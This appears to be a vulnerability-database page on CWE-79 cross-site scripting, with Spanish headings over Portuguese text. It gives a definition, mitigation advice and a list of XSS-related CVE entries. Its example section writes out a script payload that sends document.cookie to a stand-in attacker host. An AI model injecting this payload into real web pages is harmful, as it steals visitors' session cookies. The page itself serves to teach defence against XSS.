Fallos del tipo CWE-79

29.081 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2019-25094LOWinnologi appointments Extension Appointment cross site scriptingEPSS 0.5%CVE-2023-5662MEDIUMSponsors <= 3.5.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.5%CVE-2024-47095MEDIUMReflected Cross-Site Scripting in Follet School Solutions DestinyEPSS 0.5%CVE-2024-52286LOWSelf Cross Site Scripting (XSS) In Merge Functionality in Stirling-PDFEPSS 0.5%CVE-2024-1022LOWCodeAstro Simple Student Result Management System Add Class Page add_classes.php cross site scriptingEPSS 0.5%CVE-2024-0184LOWRRJ Nueva Ecija Engineer Online Portal Add Enginer edit_teacher.php cross site scriptingEPSS 0.5%CVE-2024-3081LOWEasyCorp EasyAdmin Autocomplete autocomplete.js cross site scriptingEPSS 0.5%CVE-2023-36474HIGHInteractsh server settings make users vulnerable to Subdomain TakeoverEPSS 0.5%CVE-2021-27479—ZOLL Defibrillator Dashboard, v prior to 2.2,The affected product’s web application could allow a low privilege user to inject parameters toEPSS 0.5%CVE-2023-24081MEDIUMMultiple stored cross-site scripting (XSS) vulnerabilities in Redrock Software TutorTrac before v4.2.170210 allows attackers to execute arbiEPSS 0.5%CVE-2024-0445MEDIUMThe Plus Addons for Elementor <= 5.4.2 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.5%CVE-2023-1796LOWSourceCodester Employee Payslip Generator Create News cross site scriptingEPSS 0.5%CVE-2025-1155MEDIUMWebkul QloApps Your Location Search stores cross site scriptingEPSS 0.5%CVE-2024-28108MEDIUMphpMyFAQ Stored HTML Injection at contentLinkEPSS 0.5%CVE-2021-39428MEDIUMCross Site Scripting (XSS) vulnerability in Users.php in eyoucms 1.5.4 allows remote attackers to run arbitrary code and gain escalated privEPSS 0.5%CVE-2024-0189LOWRRJ Nueva Ecija Engineer Online Portal Create Message teacher_message.php cross site scriptingEPSS 0.5%CVE-2022-4242MEDIUMWP Google Review Slider < 11.6 - Admin+ Stored XSSEPSS 0.5%CVE-2024-47524HIGHLibreNMS has Stored Cross-site Scripting vulnerability in "Device Group" NameEPSS 0.5%CVE-2026-3643HIGHAccessibly <= 3.0.3 - Missing Authorization to Unauthenticated Stored Cross-Site Scripting via Widget Source Injection via REST APIEPSS 0.5%CVE-2023-28852MEDIUMGLPI vulnerable to stored Cross-site Scripting through dashboard administrationEPSS 0.5%